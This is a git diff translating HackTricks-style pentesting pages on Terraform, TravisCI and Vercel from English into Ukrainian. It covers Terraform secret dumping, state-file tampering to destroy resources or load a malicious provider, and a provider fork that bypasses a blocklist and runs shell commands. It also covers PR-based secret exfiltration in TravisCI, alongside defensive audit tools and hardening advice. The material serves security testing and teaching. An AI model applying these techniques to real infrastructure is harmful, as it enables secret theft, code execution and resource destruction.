використовуючи зовнішні посилання**. -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**. - -## Secrets Dumps - -You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like: +## Витоки секретів +Ви можете **вивести секретні значення, які використовуються terraform**, запустивши `terraform apply`, додавши до файлу terraform щось на зразок: ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` +## Зловживання файлами стану Terraform -## Abusing Terraform State Files +У випадку, якщо у вас є доступ на запис до файлів стану terraform, але ви не можете змінити код terraform, [**це дослідження**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) пропонує кілька цікавих варіантів, щоб скористатися файлом: -In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file: +### Видалення ресурсів -### Deleting resources +Існує 2 способи знищити ресурси: -There are 2 ways to destroy resources: - -1. **Insert a resource with a random name into the state file pointing to the real resource to destroy** - -Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page: +1. **Вставити ресурс з випадковою назвою у файл стану, що вказує на реальний ресурс для знищення** +Оскільки terraform побачить, що ресурс не повинен існувати, він його знищить (слідуючи за реальним ідентифікатором ресурсу, що вказаний). Приклад з попередньої сторінки: ```json { - "mode": "managed", - "type": "aws_instance", - "name": "example", - "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", - "instances": [ - { - "attributes": { - "id": "i-1234567890abcdefg" - } - } - ] +"mode": "managed", +"type": "aws_instance", +"name": "example", +"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", +"instances": [ +{ +"attributes": { +"id": "i-1234567890abcdefg" +} +} +] }, ``` +2. **Змініть ресурс для видалення таким чином, щоб його не можна було оновити (щоб його видалили і відтворили)** -2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)** - -For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it. +Для EC2 інстансу, зміна типу інстансу є достатньою для того, щоб terraform видалив і відтворив його. ### RCE -It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research: - +Також можливо [створити власного провайдера](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) і просто замінити одного з провайдерів у файлі стану terraform на шкідливий або додати порожній ресурс з шкідливим провайдером. Приклад з оригінального дослідження: ```json "resources": [ { - "mode": "managed", - "type": "scaffolding_example", - "name": "example", - "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", - "instances": [ +"mode": "managed", +"type": "scaffolding_example", +"name": "example", +"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", +"instances": [ - ] +] }, ``` +### Замініть заблокований провайдер -### Replace blacklisted provider - -In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well. - +У разі, якщо ви зіткнетеся з ситуацією, коли `hashicorp/external` був заблокований, ви можете повторно реалізувати провайдер `external`, виконавши наступні дії. Примітка: Ми використовуємо форк провайдера external, опублікований за адресою https://registry.terraform.io/providers/nazarewk/external/latest. Ви також можете опублікувати свій власний форк або повторну реалізацію. ```terraform terraform { - required_providers { - external = { - source = "nazarewk/external" - version = "3.0.0" - } - } +required_providers { +external = { +source = "nazarewk/external" +version = "3.0.0" +} +} } ``` - -Then you can use `external` as per normal. - +Тоді ви можете використовувати `external` як зазвичай. ```terraform data "external" "example" { - program = ["sh", "-c", "whoami"] +program = ["sh", "-c", "whoami"] } ``` - ## Automatic Audit Tools ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats. +Snyk пропонує всебічне рішення для сканування Infrastructure as Code (IaC), яке виявляє вразливості та неправильні налаштування в Terraform, CloudFormation, Kubernetes та інших форматах IaC. - **Features:** - - Real-time scanning for security vulnerabilities and compliance issues. - - Integration with version control systems (GitHub, GitLab, Bitbucket). - - Automated fix pull requests. - - Detailed remediation advice. -- **Sign Up:** Create an account on [Snyk](https://snyk.io/). - +- Сканування в реальному часі для вразливостей безпеки та проблем з відповідністю. +- Інтеграція з системами контролю версій (GitHub, GitLab, Bitbucket). +- Автоматизовані запити на виправлення. +- Докладні рекомендації щодо усунення. +- **Sign Up:** Створіть обліковий запис на [Snyk](https://snyk.io/). ```bash brew tap snyk/tap brew install snyk snyk auth snyk iac test /path/to/terraform/code ``` - ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages. +**Checkov** - це інструмент статичного аналізу коду для інфраструктури як коду (IaC), а також інструмент аналізу складу програмного забезпечення (SCA) для зображень та відкритих пакетів. -It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning. - -It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs). +Він сканує хмарну інфраструктуру, що надається за допомогою [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) або [OpenTofu](https://opentofu.org/) і виявляє проблеми з безпекою та відповідністю за допомогою графового сканування. +Він виконує [аналіз складу програмного забезпечення (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), що є скануванням відкритих пакетів та зображень на наявність загальних вразливостей та експозицій (CVE). ```bash pip install checkov checkov -d /path/to/folder ``` - ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code. +З [**документації**](https://github.com/terraform-compliance/cli): `terraform-compliance` - це легка, орієнтована на безпеку та відповідність тестова рамка для terraform, що дозволяє здійснювати негативне тестування вашої інфраструктури як коду. -- **compliance:** Ensure the implemented code is following security standards, your own custom standards -- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ? -- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** it validates your code before it is deployed -- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated. -- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible. +- **відповідність:** Переконайтеся, що реалізований код відповідає стандартам безпеки, вашим власним стандартам +- **розробка, орієнтована на поведінку:** У нас є BDD практично для всього, чому б не для IaC? +- **портативність:** просто встановіть його з `pip` або запустіть через `docker`. Дивіться [Встановлення](https://terraform-compliance.com/pages/installation/) +- **попереднє розгортання:** він перевіряє ваш код перед його розгортанням +- **легкість інтеграції:** він може працювати у вашому конвеєрі (або в git hooks), щоб забезпечити перевірку всіх розгортань. +- **сегрегація обов'язків:** ви можете зберігати свої тести в іншому репозиторії, де окрема команда відповідає за них. > [!NOTE] -> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool. - +> На жаль, якщо код використовує деякі провайдери, до яких у вас немає доступу, ви не зможете виконати `terraform plan` і запустити цей інструмент. ```bash pip install terraform-compliance terraform plan -out=plan.out terraform-compliance -f /path/to/folder ``` - ### [tfsec](https://github.com/aquasecurity/tfsec) -From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations. - -- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers -- ⛔ Hundreds of built-in rules -- 🪆 Scans modules (local and remote) -- ➕ Evaluates HCL expressions as well as literal values -- ↪️ Evaluates Terraform functions e.g. `concat()` -- 🔗 Evaluates relationships between Terraform resources -- 🧰 Compatible with the Terraform CDK -- 🙅 Applies (and embellishes) user-defined Rego policies -- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. -- 🛠️ Configurable (via CLI flags and/or config file) -- ⚡ Very fast, capable of quickly scanning huge repositories +З [**документації**](https://github.com/aquasecurity/tfsec): tfsec використовує статичний аналіз вашого коду terraform для виявлення потенційних неправильних налаштувань. +- ☁️ Перевіряє неправильні налаштування у всіх основних (і деяких незначних) постачальників хмарних послуг +- ⛔ Сотні вбудованих правил +- 🪆 Сканує модулі (локальні та віддалені) +- ➕ Оцінює вирази HCL, а також літеральні значення +- ↪️ Оцінює функції Terraform, наприклад, `concat()` +- 🔗 Оцінює взаємозв'язки між ресурсами Terraform +- 🧰 Сумісний з Terraform CDK +- 🙅 Застосовує (та прикрашає) визначені користувачем політики Rego +- 📃 Підтримує кілька форматів виводу: lovely (за замовчуванням), JSON, SARIF, CSV, CheckStyle, JUnit, текст, Gif. +- 🛠️ Налаштовуваний (через CLI флаги та/або конфігураційний файл) +- ⚡ Дуже швидкий, здатний швидко сканувати величезні репозиторії ```bash brew install tfsec tfsec /path/to/folder ``` - ### [KICKS](https://github.com/Checkmarx/kics) -Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx. - -**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project. +Знайдіть вразливості безпеки, проблеми з відповідністю та неправильні конфігурації інфраструктури на ранніх етапах циклу розробки вашої інфраструктури як коду за допомогою **KICS** від Checkmarx. +**KICS** розшифровується як **K**eeping **I**nfrastructure as **C**ode **S**ecure, це програмне забезпечення з відкритим кодом і є обов'язковим для будь-якого проекту, орієнтованого на хмарні технології. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` - ### [Terrascan](https://github.com/tenable/terrascan) -From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to: - -- Seamlessly scan infrastructure as code for misconfigurations. -- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture. -- Detect security vulnerabilities and compliance violations. -- Mitigate risks before provisioning cloud native infrastructure. -- Offers flexibility to run locally or integrate with your CI\CD. +З [**документації**](https://github.com/tenable/terrascan): Terrascan - це статичний аналізатор коду для Інфраструктури як Код. Terrascan дозволяє вам: +- Безперешкодно сканувати інфраструктуру як код на наявність неправильних налаштувань. +- Моніторити надану хмарну інфраструктуру на предмет змін конфігурації, які можуть призвести до зміщення позиції, і дозволяє повернутися до безпечної позиції. +- Виявляти вразливості безпеки та порушення відповідності. +- Зменшувати ризики перед наданням хмарної нативної інфраструктури. +- Пропонує гнучкість для локального запуску або інтеграції з вашим CI\CD. ```bash brew install terrascan ``` - -## References +## Посилання - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) @@ -310,7 +280,3 @@ brew install terrascan - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index 63a3bb5c8..ffe0d311a 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective +Github PRs вітаються, які пояснюють, як (зловживати) цими платформами з точки зору атакуючого - Drone - TeamCity @@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke - Rancher - Mesosphere - Radicle -- Any other CI/CD platform... +- Будь-яка інша CI/CD платформа... {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index cff623392..cbe15fb62 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -4,7 +4,7 @@ ## What is TravisCI -**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**. +**Travis CI** - це **хостингова** або **локальна** служба **безперервної інтеграції**, що використовується для створення та тестування програмних проектів, розміщених на кількох **різних git платформах**. {{#ref}} basic-travisci-information.md @@ -14,48 +14,48 @@ basic-travisci-information.md ### Triggers -To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**: +Щоб розпочати атаку, спочатку потрібно знати, як запустити збірку. За замовчуванням TravisCI **запускає збірку при пушах та пулл-запитах**: ![](<../../images/image (145).png>) #### Cron Jobs -If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build: +Якщо у вас є доступ до веб-додатку, ви можете **налаштувати cron для запуску збірки**, це може бути корисно для збереження доступу або для запуску збірки: ![](<../../images/image (243).png>) > [!NOTE] -> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162). +> Схоже, що неможливо налаштувати cron всередині `.travis.yml` відповідно до [цього](https://github.com/travis-ci/travis-ci/issues/9162). ### Third Party PR -TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets: +TravisCI за замовчуванням забороняє обмін змінними середовища з PR, що надходять від третіх сторін, але хтось може це увімкнути, і тоді ви зможете створювати PR до репозиторію та ексфільтрувати секрети: ![](<../../images/image (208).png>) ### Dumping Secrets -As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines). +Як пояснено на сторінці [**основна інформація**](basic-travisci-information.md), існує 2 типи секретів. **Секрети змінних середовища** (які перераховані на веб-сторінці) та **кастомні зашифровані секрети**, які зберігаються всередині файлу `.travis.yml` у форматі base64 (зверніть увагу, що обидва, збережені в зашифрованому вигляді, в кінцевих машинах стануть змінними середовища). -- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build. -- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**. -- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as: +- Щоб **перерахувати секрети**, налаштовані як **змінні середовища**, перейдіть до **налаштувань** **проекту** та перевірте список. Однак зверніть увагу, що всі змінні середовища проекту, встановлені тут, з'являться при запуску збірки. +- Щоб перерахувати **кастомні зашифровані секрети**, найкраще, що ви можете зробити, це **перевірити файл `.travis.yml`**. +- Щоб **перерахувати зашифровані файли**, ви можете перевірити наявність **`.enc` файлів** у репозиторії, для рядків, подібних до `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` у конфігураційному файлі, або для **зашифрованих iv та ключів** у **змінних середовища**, таких як: ![](<../../images/image (81).png>) ### TODO: -- Example build with reverse shell running on Windows/Mac/Linux -- Example build leaking the env base64 encoded in the logs +- Приклад збірки з реверс-шелом, що працює на Windows/Mac/Linux +- Приклад збірки, що витікає змінну середовища, закодовану в base64, у логах ### TravisCI Enterprise -If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to: +Якщо зловмисник опиниться в середовищі, яке використовує **TravisCI enterprise** (більше інформації про те, що це таке, в [**основній інформації**](basic-travisci-information.md#travisci-enterprise)), він зможе **запускати збірки в Worker.** Це означає, що зловмисник зможе переміщатися по мережі до того сервера, з якого він зможе: -- escape to the host? -- compromise kubernetes? -- compromise other machines running in the same network? -- compromise new cloud credentials? +- втекти на хост? +- скомпрометувати kubernetes? +- скомпрометувати інші машини, що працюють в тій же мережі? +- скомпрометувати нові облікові дані хмари? ## References @@ -63,7 +63,3 @@ If an attacker ends in an environment which uses **TravisCI enterprise** (more i - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 46b10bf38..3577a06b0 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -1,48 +1,45 @@ -# Basic TravisCI Information +# Основна інформація про TravisCI {{#include ../../banners/hacktricks-training.md}} -## Access +## Доступ -TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI. +TravisCI безпосередньо інтегрується з різними git платформами, такими як Github, Bitbucket, Assembla та Gitlab. Він попросить користувача надати TravisCI дозволи для доступу до репозиторіїв, з якими він хоче інтегруватися. -For example, in Github it will ask for the following permissions: +Наприклад, у Github він запитає про такі дозволи: -- `user:email` (read-only) -- `read:org` (read-only) -- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations. +- `user:email` (тільки для читання) +- `read:org` (тільки для читання) +- `repo`: Надає доступ на читання та запис до коду, статусів комітів, співпрацівників та статусів розгортання для публічних та приватних репозиторіїв і організацій. -## Encrypted Secrets +## Зашифровані секрети -### Environment Variables +### Змінні середовища -In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build. +У TravisCI, як і в інших CI платформах, можливо **зберігати на рівні репозиторію секрети**, які будуть зберігатися в зашифрованому вигляді та **дешифруватися і передаватися в змінну середовища** машини, що виконує збірку. ![](<../../images/image (203).png>) -It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will). +Можливо вказати **гілки, до яких секрети будуть доступні** (за замовчуванням всі) і також, чи повинен TravisCI **приховувати його значення**, якщо воно з'являється **в журналах** (за замовчуванням так). -### Custom Encrypted Secrets +### Користувацькі зашифровані секрети -For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository. - -You can access the public key of one repo with: +Для **кожного репозиторію** TravisCI генерує **пару RSA ключів**, **зберігає** **приватний** ключ і робить **публічний ключ** репозиторію доступним для тих, хто має **доступ** до репозиторію. +Ви можете отримати доступ до публічного ключа одного репозиторію за допомогою: ``` travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` - -Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**. +Тоді ви можете використовувати цю налаштування, щоб **шифрувати секрети та додавати їх до вашого `.travis.yaml`**. Секрети будуть **розшифровані, коли буде запущено збірку** і доступні в **змінних середовища**. ![](<../../images/image (139).png>) -Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings. +Зверніть увагу, що секрети, зашифровані таким чином, не з'являться у списку змінних середовища в налаштуваннях. -### Custom Encrypted Files - -Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**: +### Користувацькі зашифровані файли +Так само, як і раніше, TravisCI також дозволяє **шифрувати файли, а потім розшифровувати їх під час збірки**: ``` travis encrypt-file super_secret.txt -r carlospolop/t-ci-test @@ -52,7 +49,7 @@ storing secure env variables for decryption Please add the following to your build script (before_install stage in your .travis.yml, for instance): - openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d +openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d Pro Tip: You can add it automatically by running with --add. @@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` - -Note that when encrypting a file 2 Env Variables will be configured inside the repo such as: +Зверніть увагу, що при шифруванні файлу 2 змінні середовища будуть налаштовані в репозиторії, такі як: ![](<../../images/image (170).png>) ## TravisCI Enterprise -Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to. +Travis CI Enterprise - це **локальна версія Travis CI**, яку ви можете розгорнути **у своїй інфраструктурі**. Думайте про ‘серверну’ версію Travis CI. Використання Travis CI дозволяє вам активувати просту у використанні систему безперервної інтеграції/безперервного розгортання (CI/CD) в середовищі, яке ви можете налаштувати та захистити на свій розсуд. -**Travis CI Enterprise consists of two major parts:** +**Travis CI Enterprise складається з двох основних частин:** -1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc. -2. TCI **Worker** and build environment images (also called OS images). +1. TCI **сервіси** (або TCI Core Services), відповідальні за інтеграцію з системами контролю версій, авторизацію збірок, планування завдань збірки тощо. +2. TCI **Worker** та образи середовища збірки (також називаються образами ОС). -**TCI Core services require the following:** +**TCI Core services вимагають наступного:** -1. A **PostgreSQL11** (or later) database. -2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required -3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details. +1. **PostgreSQL11** (або новішу) базу даних. +2. Інфраструктуру для розгортання кластера Kubernetes; його можна розгорнути в кластері серверів або на одній машині, якщо це необхідно. +3. Залежно від вашої конфігурації, ви можете захотіти розгорнути та налаштувати деякі компоненти самостійно, наприклад, RabbitMQ - див. [Налаштування Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) для отримання додаткової інформації. -**TCI Worker requires the following:** +**TCI Worker вимагає наступного:** -1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**. -2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details. +1. Інфраструктуру, де може бути розгорнуто образ docker, що містить **Worker та пов'язаний образ збірки**. +2. З'єднання з певними компонентами Travis CI Core Services - див. [Налаштування Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) для отримання додаткової інформації. -The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure. +Кількість розгорнутого TCI Worker та образів середовища збірки ОС визначатиме загальну одночасну ємність розгортання Travis CI Enterprise у вашій інфраструктурі. ![](<../../images/image (199).png>) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 16dc93da7..ebd0a3fec 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -2,440 +2,436 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація -In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**. +У Vercel **Команда** - це повне **середовище**, яке належить клієнту, а **проект** - це **додаток**. -For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also). +Для перевірки безпеки **Vercel** вам потрібно запитати користувача з **дозволом ролі Переглядача** або принаймні **дозволом перегляду проекту** для перевірки (якщо вам потрібно лише перевірити проекти, а не конфігурацію Команди). -## Project Settings +## Налаштування проекту -### General +### Загальні -**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations. +**Мета:** Керувати основними налаштуваннями проекту, такими як назва проекту, фреймворк та конфігурації збірки. -#### Security Configurations: +#### Конфігурації безпеки: -- **Transfer** - - **Misconfiguration:** Allows to transfer the project to another team - - **Risk:** An attacker could steal the project -- **Delete Project** - - **Misconfiguration:** Allows to delete the project - - **Risk:** Delete the prject +- **Передача** +- **Неправильна конфігурація:** Дозволяє передавати проект до іншої команди +- **Ризик:** Зловмисник може вкрасти проект +- **Видалити проект** +- **Неправильна конфігурація:** Дозволяє видалити проект +- **Ризик:** Видалити проект --- -### Domains +### Домен -**Purpose:** Manage custom domains, DNS settings, and SSL configurations. +**Мета:** Керувати власними доменами, налаштуваннями DNS та конфігураціями SSL. -#### Security Configurations: +#### Конфігурації безпеки: -- **DNS Configuration Errors** - - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers. - - **Risk:** Domain hijacking, traffic interception, and phishing attacks. -- **SSL/TLS Certificate Management** - - **Misconfiguration:** Using weak or expired SSL/TLS certificates. - - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality. -- **DNSSEC Implementation** - - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings. - - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks. -- **Environment used per domain** - - **Misconfiguration:** Change the environment used by the domain in production. - - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production. +- **Помилки конфігурації DNS** +- **Неправильна конфігурація:** Неправильні DNS записи (A, CNAME), що вказують на шкідливі сервери. +- **Ризик:** Захоплення домену, перехоплення трафіку та фішингові атаки. +- **Управління сертифікатами SSL/TLS** +- **Неправильна конфігурація:** Використання слабких або прострочених сертифікатів SSL/TLS. +- **Ризик:** Вразливість до атак "людина посередині" (MITM), що компрометує цілісність та конфіденційність даних. +- **Впровадження DNSSEC** +- **Неправильна конфігурація:** Невключення DNSSEC або неправильні налаштування DNSSEC. +- **Ризик:** Збільшена вразливість до спуфінгу DNS та атак на отруєння кешу. +- **Середовище, що використовується для кожного домену** +- **Неправильна конфігурація:** Зміна середовища, що використовується доменом у виробництві. +- **Ризик:** Витік потенційних секретів або функціональностей, які не повинні бути доступні у виробництві. --- -### Environments +### Середовища -**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables. +**Мета:** Визначити різні середовища (Розробка, Попередній перегляд, Виробництво) з конкретними налаштуваннями та змінними. -#### Security Configurations: +#### Конфігурації безпеки: -- **Environment Isolation** - - **Misconfiguration:** Sharing environment variables across environments. - - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure. -- **Access to Sensitive Environments** - - **Misconfiguration:** Allowing broad access to production environments. - - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches. +- **Ізоляція середовища** +- **Неправильна конфігурація:** Спільне використання змінних середовища між середовищами. +- **Ризик:** Витік секретів виробництва в середовища розробки або попереднього перегляду, що збільшує вразливість. +- **Доступ до чутливих середовищ** +- **Неправильна конфігурація:** Дозволяючи широкий доступ до середовищ виробництва. +- **Ризик:** Неавторизовані зміни або доступ до живих додатків, що може призвести до потенційних простоїв або витоків даних. --- -### Environment Variables +### Змінні середовища -**Purpose:** 